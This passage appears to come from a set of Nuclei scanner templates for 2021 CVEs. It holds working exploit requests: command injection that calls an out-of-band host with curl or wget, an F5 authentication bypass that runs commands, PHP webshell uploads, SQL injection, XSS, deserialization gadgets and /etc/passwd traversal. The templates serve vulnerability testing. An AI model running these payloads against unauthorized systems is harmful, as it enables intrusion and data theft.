{{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=domain-check-profile&domain=test.foo HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Domain Check"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-29156","info":{"name":"LDAP Injection In OpenAM","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/openam/ui/PWResetUserValidation","{{BaseURL}}/OpenAM-11.0.0/ui/PWResetUserValidation","{{BaseURL}}/ui/PWResetUserValidation"],"matchers":[{"type":"dsl","dsl":["contains(body, \"jato.pageSession\") && status_code==200"]}]}]},{"id":"CVE-2021-33357","info":{"name":"RaspAP <=2.6.5 - Remote Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20{{interactsh-url}}/`whoami`;"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","words":["DHCPEnabled"]}],"extractors":[{"type":"regex","group":1,"regex":["GET \\/([a-z-]+) HTTP"],"part":"interactsh_request"}]}]},{"id":"CVE-2021-29006","info":{"name":"rConfig 3.9.6 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST /lib/crud/userprocess.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&pass={{password}}&sublogin=1\n","GET /dashboard.php HTTP/1.1\nHost: {{Hostname}}\n","GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body_3","regex":["root:.*:0:0:"]},{"type":"word","part":"body_2","words":["rconfig"]},{"type":"status","part":"header_3","status":[200]}]}]},{"id":"CVE-2021-24917","info":{"name":"WordPress WPS Hide Login <1.9.1 - Information Disclosure","severity":"high"},"requests":[{"raw":["GET /wp-admin/options.php HTTP/1.1\nHost: {{Hostname}}\nReferer: something\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["!contains(tolower(location), 'wp-login.php')"]},{"type":"word","part":"header","words":["redirect_to=%2Fwp-admin%2Fsomething&reauth=1"]}],"extractors":[{"type":"kval","kval":["location"]}]}]},{"id":"CVE-2021-41381","info":{"name":"Payara Micro Community 5.2021.6 Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/.//WEB-INF/classes/META-INF/microprofile-config.properties"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["payara.security.openid.default.providerURI=","payara.security.openid.sessionScopedConfiguration=true"],"condition":"and"}]}]},{"id":"CVE-2021-30128","info":{"name":"Apache OFBiz <17.12.07 - Arbitrary Code Execution","severity":"critical"},"requests":[{"raw":["POST /webtools/control/SOAPService HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml\n\n\n  \n    \n      \n        \n          \n            \n              {{generate_java_gadget(\"dns\", \"https://{{interactsh-url}}\", \"hex\")}}\n            \n          \n        \n        \n        \n      \n      \n    \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["value=\"errorMessage\""]}]}]},{"id":"CVE-2021-24236","info":{"name":"WordPress Imagements <=1.2.5 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /wp-comments-post.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYl2Oz8ptq5OMtbU\n\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU\nContent-Disposition: form-data; name=\"comment\"\n\n{{randstr}}\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU\nContent-Disposition: form-data; name=\"author\"\n\n{{randstr}}\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU\nContent-Disposition: form-data; name=\"email\"\n\n{{randstr}}@email.com\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU\nContent-Disposition: form-data; name=\"url\"\n\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU\nContent-Disposition: form-data; name=\"checkbox\"\n\n\nyes\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU\nContent-Disposition: form-data; name=\"naam\"\n\n{{randstr}}\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU\nContent-Disposition: form-data; name=\"image\"; filename=\"{{php}}\"\nContent-Type: image/jpeg\n\n\n\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU\nContent-Disposition: form-data; name=\"submit\"\n\nPost Comment\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU\nContent-Disposition: form-data; name=\"comment_post_ID\"\n\n{{post}}\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU\nContent-Disposition: form-data; name=\"comment_parent\"\n\n0\n------WebKitFormBoundaryIYl2Oz8ptq5OMtbU--\n","GET /wp-content/plugins/imagements/images/{{php}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body_2","words":["{{md5(string)}}"]}]}]},{"id":"CVE-2021-24165","info":{"name":"WordPress Ninja Forms <3.4.34 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 302","status_code_2 == 302","contains(header_2, 'Location: https://interact.sh?client_id=1')"],"condition":"and"}]}]},{"id":"CVE-2021-30049","info":{"name":"SysAid Technologies 20.3.64 b14 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24284","info":{"name":"WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=------------------------d3be34324392a708\n\n--------------------------d3be34324392a708\nContent-Disposition: form-data; name=\"fonticonzipfile\"; filename=\"{{zip_file}}.zip\"\nContent-Type: application/octet-stream\n\n{{hex_decode('504B03040A0000000000FA73F454B2333E07140000001400000006001C00')}}{{php_file}}{{hex_decode('555409000366CBD76267CBD76275780B000104F50100000414000000')}}{{php_cmd}}{{hex_decode('0A504B01021E030A00000000002978F454E49BC1591300000013000000060018000000000001000000A48100000000')}}{{php_file}}{{hex_decode('555405000366CBD76275780B000104F50100000414000000504B050600000000010001004C000000530000000000')}}\n--------------------------d3be34324392a708\nContent-Disposition: form-data; name=\"fontsetname\"\n\n{{zip_file}}\n--------------------------d3be34324392a708\nContent-Disposition: form-data; name=\"action\"\n\nuploadFontIcon\n--------------------------d3be34324392a708--\n","GET /wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/{{php_file}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/style.css"]},{"type":"word","part":"body_2","words":["{{md5(string)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-35336","info":{"name":"Tieline IP Audio Gateway <=2.6.4.8 - Unauthorized Remote Admin Panel Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/get_device_details"],"headers":{"Authorization":"Digest username=\"admin\", realm=\"Bridge-IT\", nonce=\"d24d09512ebc3e43c4f6faf34fdb8c76\", uri=\"/api/get_device_details\", response=\"d052e9299debc7bd9cb8adef0a83fed4\", qop=auth, nc=00000001, cnonce=\"ae373d748855243d\"","Referer":"{{BaseURL}}/assets/base/home.html"},"matchers-condition":"and","matchers":[{"type":"word","words":["",""],"condition":"and"},{"type":"word","part":"header","words":["text/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-40868","info":{"name":"Cloudron 6.2 Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":[""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-45967","info":{"name":"Pascom CPS Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42551","info":{"name":"NetBiblio WebOPAC - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x","{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F"],"host-redirects":true,"max-redirects":3,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SearchTerm: 'x'+alert(1)+'x',","SearchTerm: 'x\\\\'+alert(1),//',"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["NetBiblio"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22502","info":{"name":"Micro Focus Operations Bridge Reporter - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /AdminService/urest/v1/LogonResource HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"userName\":\"something `wget {{interactsh-url}}`\",\"credential\":\"whatever\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http","dns"]},{"type":"word","part":"body","words":["An error occurred","AUTHENTICATION_FAILED"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[401]}]}]},{"id":"CVE-2021-21087","info":{"name":"Adobe ColdFusion - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cf_scripts/scripts/ajax/package/cfajax.js","{{BaseURL}}/cf-scripts/scripts/ajax/package/cfajax.js","{{BaseURL}}/CFIDE/scripts/ajax/package/cfajax.js","{{BaseURL}}/cfide/scripts/ajax/package/cfajax.js","{{BaseURL}}/CF_SFSD/scripts/ajax/package/cfajax.js","{{BaseURL}}/cfide-scripts/ajax/package/cfajax.js","{{BaseURL}}/cfmx/CFIDE/scripts/ajax/package/cfajax.js"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["eval\\(\\\"\\(\\\"\\+json\\+\\\"\\)\\\"\\)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42887","info":{"name":"TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /login.htm HTTP/1.1\nHost: {{Hostname}}\n","GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["TOTOLINK"]},{"type":"word","part":"header_2","words":["Set-Cookie: SESSION_ID="]},{"type":"status","status":[302]}]}]},{"id":"CVE-2021-24235","info":{"name":"WordPress Goto Tour & Travel Theme <2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28123%29%3B%3E&start_date=xxxxxxxxxxxx&avaibility=13"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["input/Autofocus/%0D*/Onfocus=alert(123);","goto-tour-list-js-extra"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3017","info":{"name":"Intelbras WIN 300/WRN 342 - Credentials Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.asp"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["def_wirelesspassword =","Roteador Wireless"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["def_wirelesspassword = \"([A-Za-z0-9=]+)\";"],"part":"body"}]}]},{"id":"CVE-2021-39165","info":{"name":"Cachet <=2.3.18 - SQL Injection","severity":"medium"},"requests":[{"raw":["@timeout: 20s\nGET /api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))-- HTTP/1.1\nHost: {{Hostname}}\n"],"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"pagination\") && contains(body, \"data\")"],"condition":"and"}]}]},{"id":"CVE-2021-4436","info":{"name":"3DPrint Lite < 1.9.1.5 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------54331109111293931601238262353\n\n-----------------------------54331109111293931601238262353\nContent-Disposition: form-data; name=\"action\"\n\np3dlite_handle_upload\n-----------------------------54331109111293931601238262353\nContent-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.php\"\nContent-Type: text/php\n\n\n-----------------------------54331109111293931601238262353--\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"jsonrpc\":\"2.0\"","\"filename\":","{{filename}}.php"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-43574","info":{"name":"Atmail 6.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\" does not exist"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500,403],"condition":"or"}]}]},{"id":"CVE-2021-21402","info":{"name":"Jellyfin <10.7.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/","{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Content-Type: application/octet-stream"]},{"type":"regex","part":"body","regex":["\\[(font|extension|file)s\\]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25028","info":{"name":"WordPress Event Tickets < 5.2.2 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=wp_ajax_rsvp-form&tribe_tickets_redirect_to=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-1472","info":{"name":"Cisco Small Business RV Series - OS Command Injection","severity":"critical"},"requests":[{"raw":["POST /upload HTTP/1.1\nHost: {{Hostname}}\nCookie: sessionid='`wget http://{{interactsh-url}}`'\nAuthorization: QUt6NkpTeTE6dmk4cW8=\nContent-Type: multipart/form-data; boundary=---------------------------392306610282184777655655237536\n\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"option\"\n\n5NW9Cw1J\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"destination\"\n\nJ0I5k131j2Ku\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"file.path\"\n\nEKsmqqg0\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"file\"; filename=\"config.xml\"\nContent-Type: application/xml\n\nqJ57CM9\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"filename\"\n\nJbYXJR74n.xml\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"GXbLINHYkFI\"\n\nconfigurationFILE://Configuration/config.xmlconfig-running\n-----------------------------392306610282184777655655237536--\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["\"jsonrpc\":"]}]}]},{"id":"CVE-2021-46422","info":{"name":"SDT-CW3B1 1.1.0 - OS Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={{cmd}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","name":"http","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2021-24316","info":{"name":"WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E "],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Sorry, no posts matched your criteria."],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-40150","info":{"name":"Reolink E1 Zoom Camera <=3.0.0.716 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/conf/nginx.conf"],"matchers-condition":"and","matchers":[{"type":"word","words":["server","listen","fastcgi"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-32789","info":{"name":"WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500"],"matchers-condition":"and","matchers":[{"type":"word","words":["sqli-test","attribute_counts","price_range","term"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24215","info":{"name":"Controlled Admin Access WordPress Plugin <= 1.4.0 - Improper Access Control & Privilege Escalation","severity":"critical"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"This page allows direct access to your site settings\") && contains(body_2, \"Controlled Admin Access\")"],"condition":"and"}]}]},{"id":"CVE-2021-37305","info":{"name":"Jeecg Boot <= 2.4.5 - Sensitive Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/jeecg-boot/sys/user/querySysUser?username=admin"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["username\":\"admin","success\":true","result\":{"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27310","info":{"name":"Clansphere CMS 2011.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-32618","info":{"name":"Python Flask-Security - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login?next=\\\\\\interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-22986","info":{"name":"F5 iControl REST -  Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /mgmt/shared/authn/login HTTP/1.1\nHost: {{Hostname}}\nAccept-Language: en\nAuthorization: Basic YWRtaW46\nContent-Type: application/json\nCookie: BIGIPAuthCookie=1234\nConnection: close\n\n{\"username\":\"admin\",\"userReference\":{},\"loginReference\":{\"link\":\"http://localhost/mgmt/shared/gossip\"}}\n","POST /mgmt/tm/util/bash HTTP/1.1\nHost: {{Hostname}}\nAccept-Language: en\nX-F5-Auth-Token: {{token}}\nContent-Type: application/json\nConnection: close\n\n{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}\n"],"matchers":[{"type":"word","words":["commandResult","uid="],"condition":"and"}],"extractors":[{"type":"regex","name":"token","group":1,"regex":["([A-Z0-9]{26})"],"internal":true,"part":"body"},{"type":"regex","group":1,"regex":["\"commandResult\":\"(.*)\""],"part":"body"}]}]},{"id":"CVE-2021-43778","info":{"name":"GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27651","info":{"name":"Pega Infinity - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/prweb/PRAuth/app/default/"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 8.5.2', '>= 8.2.1')"]},{"type":"word","part":"body","words":["Pega Infinity"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["(?m)Pega ([0-9.]+)"],"internal":true},{"type":"regex","group":1,"regex":["(?m)Pega ([0-9.]+)"]}]}]},{"id":"CVE-2021-43725","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\">","name=\"data[performredirect]"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24370","info":{"name":"WordPress Fancy Product Designer <4.6.9  - Arbitrary File Upload","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"error\":\"You need to define a directory"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27358","info":{"name":"Grafana Unauthenticated Snapshot Creation","severity":"high"},"requests":[{"raw":["POST /api/snapshots HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"dashboard\": {\"editable\":false,\"hideControls\":true,\"nav\":[{\"enable\":false,\"type\":\"timepicker\"}],\"rows\": [{}],\"style\":\"dark\",\"tags\":[],\"templating\":{\"list\":[]},\"time\":{},\"timezone\":\"browser\",\"title\":\"Home\",\"version\":5},\"expires\": 3600}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"deleteUrl\":","\"deleteKey\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]}]}]},{"id":"CVE-2021-22054","info":{"name":"VMWare Workspace ONE UEM - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A"],"matchers-condition":"and","matchers":[{"type":"word","words":["Interactsh Server"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-28169","info":{"name":"Eclipse Jetty ConcatServlet - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/static?/%2557EB-INF/web.xml","{{BaseURL}}/concat?/%2557EB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/xml"]},{"type":"word","part":"body","words":["","java.sun.com"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25111","info":{"name":"WordPress English Admin <1.5.2 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=heartbeat&admin_custom_language_toggle=1&admin_custom_language_return_url=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-38147","info":{"name":"Wipro Holmes Orchestrator 20.4.1 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/processexecution/DownloadExcelFile/Domain_Credential_Report_Excel","{{BaseURL}}/processexecution/DownloadExcelFile/Process_Report_Excel","{{BaseURL}}/processexecution/DownloadExcelFile/Infrastructure_Report_Excel","{{BaseURL}}/processexecution/DownloadExcelFile/Resolver_Report_Excel"],"stop-at-first-match":true,"matchers":[{"type":"dsl","dsl":["contains_all(header, 'application/vnd.openxml', 'attachment; filename=')","contains(body, '\n  \n    ysomap\n    \n      \n        \n          -10086\n          \n            <__overrideDefaultParser>false\n            false\n            false\n            \n              \n            \n            \n          \n          false\n          false\n          \n            \n              \n                \n                  1008\n                  true\n                  1000\n                  0\n                  2\n                  0\n                  0\n                  0\n                  true\n                  1004\n                  false\n                  rmi://{{interactsh-url}}/test\n                  \n                  \n                \n              \n              \n                \n              \n            \n            \n              com.sun.rowset.JdbcRowSetImpl\n              setAutoCommit\n              \n                boolean\n              \n            \n            \n            false\n          \n          \n            false\n          \n          false\n          \n          -1\n          false\n          false\n        \n        1\n      \n      1\n      false\n    \n  \n  \n    ysomap\n    \n      test\n    \n  \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["timestamp","com.thoughtworks.xstream"],"condition":"or"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-35265","info":{"name":"MaxSite CMS > V106 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E","{{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">"]},{"type":"word","part":"body","words":["mso-comments-rss\">RSS","MaxSite CMS","feed\">RSS"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24488","info":{"name":"WordPress Post Grid <2.1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword=\"onmouseover=alert(document.domain)// HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\\\"onmouseover=alert(document.domain)/\">","Post Grid"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20114","info":{"name":"TCExam <= 14.8.1 - Sensitive Information Exposure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cache/backup/"],"matchers-condition":"and","matchers":[{"type":"word","words":["Index of /cache/backup","Parent Directory",".sql.gz"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3378","info":{"name":"FortiLogger 4.4.2.2 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS\nAccept: application/json\nReferer: {{BaseURL}}\nConnection: 